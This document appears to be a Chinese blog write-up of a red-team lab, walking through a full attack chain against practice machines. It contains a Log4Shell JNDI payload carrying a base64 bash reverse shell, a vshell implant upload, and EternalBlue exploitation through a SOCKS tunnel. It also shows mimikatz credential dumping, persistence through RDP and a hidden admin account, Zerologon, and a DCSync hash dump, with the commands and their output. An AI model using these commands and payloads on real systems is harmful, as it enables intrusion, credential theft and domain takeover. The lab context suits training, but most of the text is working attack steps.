渗透攻击红队靶场二(2)


渗透攻击红队靶场二,算是彻底打通了

还是先继续攻击

1
openvpn --config /root/Desktop/9027.ovpn

启动JNDI服务

1
2
cd /opt/JNDIExploit
java -jar target/JNDIExploit-1.0-SNAPSHOT.jar -i 192.168.111.25

然后监听

1
nc -lvnp 12999

再执行

1
curl http://192.168.111.20:38080/hello -X POST -d 'payload=${jndi:ldap://192.168.111.25:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjExMS4yNS8xMjk5OSAwPiYx}'

连上之后,翻找到ssh配置文件,尝试连接

1
2
ssh saul@192.168.111.20
Saul123

然后vshell这边

1
2
3
cd v_linux_amd64 
chmod +x v_linux_amd64
./v_linux_amd64

然后进去

1
2
3
http://192.168.220.128:8082/
admin
qwe123qwe

然后开始正向连接(我主动去连别人)。反向(别人来连我)

1
2
3
4
5
6
7
┌──(root㉿kali)-[~/Desktop]
└─# ls
tcp_linux_amd64

┌──(root㉿kali)-[~/Desktop]
└─#

然后SCP把我们的这个恶意文件给传上去

1
2
scp /root/Desktop/tcp_linux_amd64 saul@192.168.111.20:/tmp/vc
ssh saul@192.168.111.20

然后输入密码就行了

回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root㉿kali)-[~/Desktop]
└─# ls

tcp_linux_amd64

┌──(root㉿kali)-[~/Desktop]
└─# scp scp /root/Desktop/tcp_linux_amd64l@192.168.111.20:/tmp/vc
ssh saul@192.168.111.20

** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
saul@192.168.111.20's password:
tcp_linux_amd64 100% 2810KB 1.4MB/s 00:01
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
saul@192.168.111.20's password:
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-84-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

8 updates can be applied immediately.
3 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2023.
Last login: Sat Nov 21 20:31:44 2026 from 192.168.111.25
saul@ubantu:~$

然后ssh机器执行

1
2
chmod +x /tmp/vc
cd /tmp && nohup ./vc > vc.log 2>&1 &

同时看下是否成功

1
2
3
4
5
6
7
saul@ubantu:~$ chmod +x /tmp/vc
saul@ubantu:~$ cd /tmp && nohup ./vc > vc.log 2>&1 &
[1] 3832
saul@ubantu:~$ ss -tlnp | grep 8888
LISTEN 0 4096 *:8888 *:* users:(("vc",pid=3833,fd=3))
saul@ubantu:~$

然后vshell去连接这台机器

可以进入终端等等

还是这个kali浏览器打开吧,要上传啥工具这类的也方便一点

然后把fscan上传一下,知道fscan在电脑上哪个位置就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
saul@ubantu:~$ cd /tmp
saul@ubantu:/tmp$ ls
bash
fscan
systemd-private-ac8fd9ed5a794ffaa87e213f283c34c6-bolt.service-c2ADlf
systemd-private-ac8fd9ed5a794ffaa87e213f283c34c6-colord.service-mTDy1E
systemd-private-ac8fd9ed5a794ffaa87e213f283c34c6-ModemManager.service-08ubfh
systemd-private-ac8fd9ed5a794ffaa87e213f283c34c6-rtkit-daemon.service-qvdCt0
systemd-private-ac8fd9ed5a794ffaa87e213f283c34c6-systemd-resolved.service-5YZTpA
systemd-private-ac8fd9ed5a794ffaa87e213f283c34c6-systemd-timesyncd.service-s1on4n
vc
vc.log
VMwareDnD
vmware-root
vmware-root_901-3988228452
saul@ubantu:/tmp$

saul@ubantu:/tmp$ ./fscan -h 10.0.1.6/24
bash: ./fscan: 权限不够
saul@ubantu:/tmp$

加个权限运行

1
chmod +x /tmp/fscan && /tmp/fscan -h 10.0.1.6/24

扫描结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
                     fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 10.0.1.6 is alive
(icmp) Target 10.0.1.7 is alive
[*] Icmp alive hosts len is: 2
10.0.1.7:445 open
10.0.1.7:139 open
10.0.1.7:135 open
10.0.1.6:22 open
10.0.1.6:8888 open
[*] alive ports len is: 5
start vulscan
[*] NetInfo
[*]10.0.1.7
[->]win7
[->]10.0.1.7
[->]10.0.0.7
[+] MS17-010 10.0.1.7 (Windows 7 Ultimate 7601 Service Pack 1)

然后上MSF

1
msfconsole

然后

1
2
3
4
5
6
7
8
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.1.7
set payload windows/x64/meterpreter/bind_tcp
set LPORT 4444
set TARGET 1
set ForceExploit true
run

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
msf exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.220.128:4444
[*] 10.0.1.7:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[-] 10.0.1.7:445 - An SMB Login Error occurred while connecting to the IPC$ tree.
[*] 10.0.1.7:445 - Scanned 1 of 1 hosts (100% complete)
[-] 10.0.1.7:445 - The target is not vulnerable.
[*] 10.0.1.7:445 - Forcing Exploit
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.37/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 10.0.1.7:445 - Connecting to target for exploitation.
[-] 10.0.1.7:445 - SMB Negotiation Failure -- this often occurs when lsass crashes. The target may reboot in 60 seconds.
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/ms17_010_eternalblue) >

换

1
2
3
4
set payload windows/x64/meterpreter/bind_tcp
set LPORT 1433
show options
run

换 1433 的道理:Win7 自带防火墙对入站连接默认拦截,4444 这种随便的端口大概率被 block;1433 是 MSSQL 的端口,系统里常有现成的放行规则,bind 后门开在 1433 上更容易连进去

但是我这边还是失败了

这里就回到我们上次出现的这个问题了,其实不是445端口的这个SMB服务被打烂了,是我们的这个隧道这步没有搞好,也就是说,肯定不能本地流量直接去打win7那个,需要我们把这个流量让已经拿下了的这台机器去转发

可以vshell来搞,也可以suo5

1
2
3
wget https://github.com/zema1/suo5/releases/latest/download/suo5-linux-amd64 -O /root/suo5
chmod +x /root/suo5
/root/suo5 --help

我们这里vshell来搞这个

这个时候就一下搞好了

1
2
3
4
5
6
7
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.1.7
set RPORT 445
set TARGET 1
set payload windows/x64/meterpreter/bind_tcp
set LPORT 1433
run

跑的时间也变长了很多

但是这里我确实搞了隧道,回显和之前不一样了,但是还是一直fail

纠错

应该就是我们对这个靶机的理解不够深入的问题

就是我们现在的

1
用户只需要记住一个基础理论:连接vpn进入环境后,您的IP为192.168.111.25,您自己电脑上查不到这个IP是正常的,不用管。

打了很多次,我重新开下靶机

然后前面一直到上线vshell都一样

然后隧道代理这里选socks5

然后端口选1081

然后开始打永恒之蓝

1
2
3
4
5
6
7
8
9
setg Proxies socks5:127.0.0.1:1081
setg ReverseAllowProxy true
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.1.7
set RPORT 445
set TARGET 1
set payload windows/x64/meterpreter/bind_tcp
set LPORT 8443
run

回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
msf exploit(windows/smb/ms17_010_eternalblue) > run
[*] 10.0.1.7:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.0.1.7:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.37/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 10.0.1.7:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.0.1.7:445 - The target is vulnerable.
[*] 10.0.1.7:445 - Connecting to target for exploitation.
[+] 10.0.1.7:445 - Connection established for exploitation.
[+] 10.0.1.7:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.1.7:445 - CORE raw buffer dump (38 bytes)
[*] 10.0.1.7:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 10.0.1.7:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 10.0.1.7:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 10.0.1.7:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.1.7:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.1.7:445 - Sending all but last fragment of exploit packet
[*] 10.0.1.7:445 - Starting non-paged pool grooming
[+] 10.0.1.7:445 - Sending SMBv2 buffers
[+] 10.0.1.7:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.1.7:445 - Sending final SMBv2 buffers.
[*] 10.0.1.7:445 - Sending last fragment of exploit packet!
[*] 10.0.1.7:445 - Receiving response from exploit packet
[+] 10.0.1.7:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.0.1.7:445 - Sending egg to corrupted connection.
[*] 10.0.1.7:445 - Triggering free of corrupted buffer.
[*] Started bind TCP handler against 10.0.1.7:8443
[*] Sending stage (255679 bytes) to 10.0.1.7
[+] 10.0.1.7:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.0.1.7:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.0.1.7:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (127.0.0.1:45501 -> 127.0.0.1:1081) at 2026-11-21 19:38:16 +0800

meterpreter >

这里一次就直接拿到了

这里reverse_tcp回连我们地话就是容易错,我们要用/bind_tcp,并且后面可以尝试说拿到meterpreter之后试试能不能ping通这个我们的地址192.168.111.25

还是不通的,可以发现

现在可以shell进入win7了

也可以继续msf这边的操作

然后mimikakz抓就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username Domain LM NTLM SHA1
-------- ------ -- ---- ----
WIN7$ REDTEAM 83e43234c8665e1c2fcba0 00811c391780fd8341c83a
84ecc043f2 b28e7a10efaaf8e789
root REDTEAM f772a42242b3f72c9c501 41ed68671702fa84d38084 361dc644072bfbda76ae56
4ae4718a7ee b5d60cc33d 90919f65bb6b36e0d8

wdigest credentials
===================

Username Domain Password
-------- ------ --------
(null) (null) (null)
WIN7$ REDTEAM fc a4 85 a3 bf 1c 5b d8 52 cb fc 69 75 d9 7f f4 ae 39 8f 92 2b b5 c5
da dc 8d 89 fb 80 b5 6a a2 68 fe 1a d3 bf 37 02 5c 95 62 c5 fe da 92
16 24 d7 e1 79 e0 08 f0 68 ab 8e ae 70 13 6c 3e 46 03 a2 fe da 2f a4
00 9a 68 e0 61 b5 f3 8a b4 97 76 5f 40 9c c0 e0 bd 85 db 70 d2 c3 9d
11 8a 02 2b 7b ab d6 6d 0d 1f 47 b5 6b 80 67 53 b4 7f 5f 2c 53 03 37
70 b7 54 b2 20 61 20 df 7f d0 31 a1 c4 f8 19 e0 2e 02 01 58 ed cf 1b
c3 db 92 b1 fd 48 e5 c9 46 82 c4 63 c5 48 64 b8 3f ac 74 9f ea b8 3a
77 81 36 28 8a 7d 67 df 50 38 8f ff 6c a0 23 7b 28 a7 75 bb 3d 8a 02
82 65 38 da 56 1b 36 04 fd 1d 48 18 3d 79 0e 5d a3 f3 68 b4 eb a3 43
05 a0 36 cd 84 3b e8 fd 27 8f 1e 05 42 74 5d 92 19 c0 cb 04 b6 f3 77
f8 8a f7 c4 8b fd 93 fe 6f 92
root REDTEAM Red12345

tspkg credentials
=================

Username Domain Password
-------- ------ --------
root REDTEAM Red12345

kerberos credentials
====================

Username Domain Password
-------- ------ --------
(null) (null) (null)
root REDTEAM.LAB Red12345
win7$ REDTEAM.LAB fc a4 85 a3 bf 1c 5b d8 52 cb fc 69 75 d9 7f f4 ae 39 8f 92 2b b5
c5 da dc 8d 89 fb 80 b5 6a a2 68 fe 1a d3 bf 37 02 5c 95 62 c5 f
e da 92 16 24 d7 e1 79 e0 08 f0 68 ab 8e ae 70 13 6c 3e 46 03 a2
fe da 2f a4 00 9a 68 e0 61 b5 f3 8a b4 97 76 5f 40 9c c0 e0 bd 85
db 70 d2 c3 9d 11 8a 02 2b 7b ab d6 6d 0d 1f 47 b5 6b 80 67 53 b
4 7f 5f 2c 53 03 37 70 b7 54 b2 20 61 20 df 7f d0 31 a1 c4 f8 19
e0 2e 02 01 58 ed cf 1b c3 db 92 b1 fd 48 e5 c9 46 82 c4 63 c5 48
64 b8 3f ac 74 9f ea b8 3a 77 81 36 28 8a 7d 67 df 50 38 8f ff 6
c a0 23 7b 28 a7 75 bb 3d 8a 02 82 65 38 da 56 1b 36 04 fd 1d 48
18 3d 79 0e 5d a3 f3 68 b4 eb a3 43 05 a0 36 cd 84 3b e8 fd 27 8f
1e 05 42 74 5d 92 19 c0 cb 04 b6 f3 77 f8 8a f7 c4 8b fd 93 fe 6
f 92


meterpreter >

得到密码

1
root:Red12345

接下来做权限维持的

1
2
3
4
5
6
7
8
meterpreter > run post/windows/manage/enable_rdp
[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20261121211830_default_10.0.1.7_host.windows.cle_169577.txt
meterpreter >

然后创建一个普通用户再提升到管理员

1
2
meterpreter > execute -f cmd.exe -H -a '/c net user hack01 1324@cbD /add'
meterpreter > execute -f cmd.exe -H -a '/c net localgroup administrators hack01 /add'

开始搞第二层代理上线VSHELL,msf执行

1
2
3
upload /root/Desktop/tcp_windows_amd64.exe C:\\Windows\\Temp\\vc.exe

execute -f C:\\Windows\\Temp\\vc.exe -H

然后回显这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
meterpreter > execute -f cmd.exe -i -a '/c netstat -an | findstr LISTEN'
Process 2248 created.
Channel 3 created.
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9999 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING
TCP 0.0.0.0:49157 0.0.0.0:0 LISTENING
TCP 10.0.0.7:139 0.0.0.0:0 LISTENING
TCP 10.0.1.7:139 0.0.0.0:0 LISTENING
TCP [::]:135 [::]:0 LISTENING
TCP [::]:445 [::]:0 LISTENING
TCP [::]:3389 [::]:0 LISTENING
TCP [::]:9999 [::]:0 LISTENING
TCP [::]:49152 [::]:0 LISTENING
TCP [::]:49153 [::]:0 LISTENING
TCP [::]:49154 [::]:0 LISTENING
TCP [::]:49155 [::]:0 LISTENING
TCP [::]:49156 [::]:0 LISTENING
TCP [::]:49157 [::]:0 LISTENING
meterpreter >

看下监听有没有成功

然后去VSHELL去建立第二个客户端连接

字段 值
主机地址 10.0.1.7
端口 9999
Vkey qwe123qwe
加密盐 qwe123qwe
使用代理 socks5://127.0.0.1:1081

然后fscan来扫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
C:\Windows\system32>cd
C:\Windows\system32

C:\Windows\system32>cd /

C:\>cd /Windows

C:\Windows>cd /Temp
系统找不到指定的路径。

C:\Windows>cd /Temp
系统找不到指定的路径。

C:\Windows>cd Temp

C:\Windows\Temp>ls
'ls' 不是内部或外部命令,也不是可运行的程序
或批处理文件。

C:\Windows\Temp>dir
驱动器 C 中的卷没有标签。
卷的序列号是 9227-12B7

C:\Windows\Temp 的目录

2026/11/21 21:21 <DIR> .
2026/11/21 21:21 <DIR> ..
2021/12/19 17:19 0 DMI138F.tmp
2026/11/21 21:22 7,266,304 fscan.exe
2021/12/19 17:28 0 FXSAPIDebugLogFile.txt
2021/12/19 17:28 0 FXSTIFFDebugLogFile.txt
2021/12/20 14:58 1,806 MpCmdRun.log
2021/12/19 17:20 196,608 TS_10E.tmp
2021/12/19 17:20 196,608 TS_18C.tmp
2021/12/19 17:20 720,896 TS_1EA.tmp
2021/12/19 17:20 458,752 TS_3EE.tmp
2021/12/19 17:20 262,144 TS_508.tmp
2021/12/19 17:20 196,608 TS_61.tmp
2021/12/19 17:20 262,144 TS_FEA9.tmp
2021/12/19 17:20 262,144 TS_FF37.tmp
2021/12/19 17:20 458,752 TS_FF86.tmp
2026/11/21 21:06 4,134,912 vc.exe
2026/11/21 21:19 <DIR> vc.exe_winpty
15 个文件 14,417,678 字节
3 个目录 30,641,430,528 可用字节

C:\Windows\Temp>fscan.exe -h 10.0.0.7/24
fatal error: kernel32.dll not found
runtime: panic before malloc heap initialized

C:\Windows\Temp>dir C:\Windows\Temp\fscan.exe
驱动器 C 中的卷没有标签。
卷的序列号是 9227-12B7

C:\Windows\Temp 的目录

2026/11/21 21:22 7,266,304 fscan.exe
1 个文件 7,266,304 字节
0 个目录 30,641,430,528 可用字节

C:\Windows\Temp>

这里fscan失败了

这里好像是版本太新了

https://github.com/shadow1ng/fscan,仔细翻找,是有老版本的

这里指令换了

1
fscan64.exe -h 10.0.0.7/24

这样就开始扫了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
C:\Windows\Temp>fscan64.exe -h 10.0.0.7/24

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.7.1
start infoscan
(icmp) Target 10.0.0.7 is alive
(icmp) Target 10.0.0.12 is alive
[*] Icmp alive hosts len is: 2
10.0.0.7:139 open
10.0.0.7:135 open
10.0.0.12:88 open
10.0.0.12:445 open
10.0.0.12:139 open
10.0.0.12:135 open
10.0.0.7:445 open
10.0.0.7:9999 open
[*] alive ports len is: 8
start vulscan
[+] NetInfo:
[*]10.0.0.7
[->]win7
[->]10.0.1.7
[->]10.0.0.7
[+] 10.0.0.7 MS17-010 (Windows 7 Ultimate 7601 Service Pack 1)
[+] NetInfo:
[*]10.0.0.12
[->]DC
[->]10.0.0.12
[*] 10.0.0.7 ╔╗__MSBROWSE__╗\WIN7 Windows 7 Ultimate 7601 Service Pack 1
[+] 10.0.0.12 MS17-010 (Windows Server 2012 R2 Datacenter 9600)
[*] 10.0.0.12 [+]DC REDTEAM\DC Windows Server 2012 R2 Datacenter 9600
已完成 8/8
[*] 扫描结束,耗时: 16.8610007s
C:\Windows\Temp>

接下来就可以打Zerologon

然后我用MSF自带的,指令稍微麻烦一点,也不算很麻烦其实

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msf > search zerologon

Matching Modules
================

# Full Name Disclosure Date Rank Check Name
- --------- --------------- ---- ----- ----
0 auxiliary/admin/dcerpc/cve_2020_1472_zerologon . normal Yes Netlogon Weak Cryptographic Authentication
1 \_ action: REMOVE . . . Remove the machine account password
2 \_ action: RESTORE . . . Restore the machine account password


Interact with a module by name or index. For example info 2, use 2 or use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
After interacting with a module you can manually set a ACTION with set ACTION 'RESTORE'

msf >

找一下模块名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
set RHOSTS 10.0.0.12
set NBNAME DC
set ACTION REMOVE
run

msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
[*] Running module against 10.0.0.12
[*] 10.0.0.12: - Connecting to the endpoint mapper service...
[*] 10.0.0.12: - Binding to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:10.0.0.12[49155] ...
[-] 10.0.0.12: - Auxiliary failed: Errno::ECONNRESET Connection reset by peer
[-] 10.0.0.12: - Call stack:
[-] 10.0.0.12: - /usr/lib/ruby/3.3.0/socket.rb:457:in `__read_nonblock'
[-] 10.0.0.12: - /usr/lib/ruby/3.3.0/socket.rb:457:in `read_nonblock'
[-] 10.0.0.12: - /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/rex-core-0.1.37/lib/rex/io/stream.rb:91:in `block in read'
[-] 10.0.0.12: - /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/rex-core-0.1.37/lib/rex/io/stream.rb:336:in `synchronize_access'
[-] 10.0.0.12: - /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/rex-core-0.1.37/lib/rex/io/stream.rb:89:in `read'
[-] 10.0.0.12: - /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/rex-core-0.1.37/lib/rex/io/stream.rb:223:in `get_once'
[-] 10.0.0.12: - /usr/share/metasploit-framework/lib/rex/proto/dcerpc/client.rb:159:in `read'
[-] 10.0.0.12: - /usr/share/metasploit-framework/lib/rex/proto/dcerpc/client.rb:219:in `bind'
[-] 10.0.0.12: - /usr/share/metasploit-framework/lib/rex/proto/dcerpc/client.rb:44:in `initialize'
[-] 10.0.0.12: - /usr/share/metasploit-framework/lib/msf/core/exploit/remote/dcerpc.rb:124:in `new'
[-] 10.0.0.12: - /usr/share/metasploit-framework/lib/msf/core/exploit/remote/dcerpc.rb:124:in `dcerpc_bind'
[-] 10.0.0.12: - /usr/share/metasploit-framework/modules/auxiliary/admin/dcerpc/cve_2020_1472_zerologon.rb:83:in `bind_to_netlogon_service'
[-] 10.0.0.12: - /usr/share/metasploit-framework/modules/auxiliary/admin/dcerpc/cve_2020_1472_zerologon.rb:88:in `check'
[-] 10.0.0.12: - /usr/share/metasploit-framework/modules/auxiliary/admin/dcerpc/cve_2020_1472_zerologon.rb:119:in `action_remove_password'
[-] 10.0.0.12: - /usr/share/metasploit-framework/modules/auxiliary/admin/dcerpc/cve_2020_1472_zerologon.rb:112:in `run'
[*] Auxiliary module execution completed
msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) >

我这边是失败了,换方法吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
cd /root/zerologon-tools
proxychains4 -f /tmp/pc1082.conf python3 cve-2020-1472-exploit.py DC 10.0.0.12

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Performing authentication attempts...
[proxychains] Strict chain ... 127.0.0.1:1080 ... timeout
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/impacket/dcerpc/v5/transport.py", line 354, in connect
self.__socket.connect(sa)
~~~~~~~~~~~~~~~~~~~~~^^^^
ConnectionRefusedError: [Errno 111] Connection refused

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/root/zerologon-tools/cve-2020-1472-exploit.py", line 126, in <module>
main()
~~~~^^
File "/root/zerologon-tools/cve-2020-1472-exploit.py", line 123, in main
perform_attack('\\\\' + dc_name, dc_ip, victim)
~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/zerologon-tools/cve-2020-1472-exploit.py", line 70, in perform_attack
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
File "/usr/lib/python3/dist-packages/impacket/dcerpc/v5/epm.py", line 1261, in hept_map
dce.connect()
~~~~~~~~~~~^^
File "/usr/lib/python3/dist-packages/impacket/dcerpc/v5/rpcrt.py", line 1359, in connect
return self._transport.connect()
~~~~~~~~~~~~~~~~~~~~~~~^^
File "/usr/lib/python3/dist-packages/impacket/dcerpc/v5/transport.py", line 357, in connect
raise DCERPCException("Could not connect: %s" % msg)
impacket.dcerpc.v5.rpcrt.DCERPCException: Could not connect: [Errno 111] Connection refused

┌──(root㉿kali)-[~/zerologon-tools]
└─#

首先,这个不是自带的,需要下载

先改配置

1
2
3
4
5
6
cat > /tmp/pc1082.conf <<'EOF'
strict_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 1082
EOF

cat >p/pc1082.conf <<’E<<’EOF’
strict_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 1082
EOF

┌──(root㉿kali)-[~/zerologon-tools]
└─# cat cat /tmp/pc1082.conf
ss -lntp | grep 1082

strict_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 1082
LISTEN 0 4096 *:1082 : users:((“v_linux_amd64”,pid=5415,fd=17))

┌──(root㉿kali)-[~/zerologon-tools]
└─#

再跑

1
2
cd /root/zerologon-tools
proxychains4 -f /tmp/pc1082.conf python3 cve-2020-1472-exploit.py DC 10.0.0.12

密码成功被清空

1
proxychains4 -f /tmp/pc1082.conf secretsdump.py -just-dc 'REDTEAM/DC$@10.0.0.12' -no-pass

空密码打DCSync

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(root㉿kali)-[~/zerologon-tools]
└─# proxychains4 -f /tmp/pc1082.conf secretsdump.py -just-dc 'REDTEAM/DC$@10.0.0.12' -no-pass
[proxychains] config file found: /tmp/pc1082.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

[proxychains] Strict chain ... 127.0.0.1:1082 ... 10.0.0.12:445 ... OK
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Strict chain ... 127.0.0.1:1082 ... 10.0.0.12:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1082 ... 10.0.0.12:49155 ... OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fe8012ac5ea064c1616b9d13c575fc24:::
redteam.lab\root:1105:aad3b435b51404eeaad3b435b51404ee:41ed68671702fa84d38084b5d60cc33d:::
DC$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN7$:1106:aad3b435b51404eeaad3b435b51404ee:83e43234c8665e1c2fcba084ecc043f2:::
SAMTHEADMIN-26$:1107:aad3b435b51404eeaad3b435b51404ee:b14369593aa18f85ffb80fa3b840c2d0:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:0d9bedcd37f2fc5de5538a0b2b43e148caa6b66d8ca18ee3d51046aac0cac5a9
Administrator:aes128-cts-hmac-sha1-96:e685495ea5153218e1ab68611bb8626d
Administrator:des-cbc-md5:089e3e1376a8d31a
krbtgt:aes256-cts-hmac-sha1-96:5bfbe7609d70fd814d2e17e72d4864baf170d475c74b9474fa4e773f1db16d40
krbtgt:aes128-cts-hmac-sha1-96:ac3436873e0427c5c73bd2665a3409f1
krbtgt:des-cbc-md5:f2b56bb58c2507f8
redteam.lab\root:aes256-cts-hmac-sha1-96:35b6550b04325d26176bd5813c5b453cb71a0debba7bf63f48c78c77f2985593
redteam.lab\root:aes128-cts-hmac-sha1-96:2d8f1e4d9f2b3466592340ad01ad4c6a
redteam.lab\root:des-cbc-md5:e62ce3648920bfce
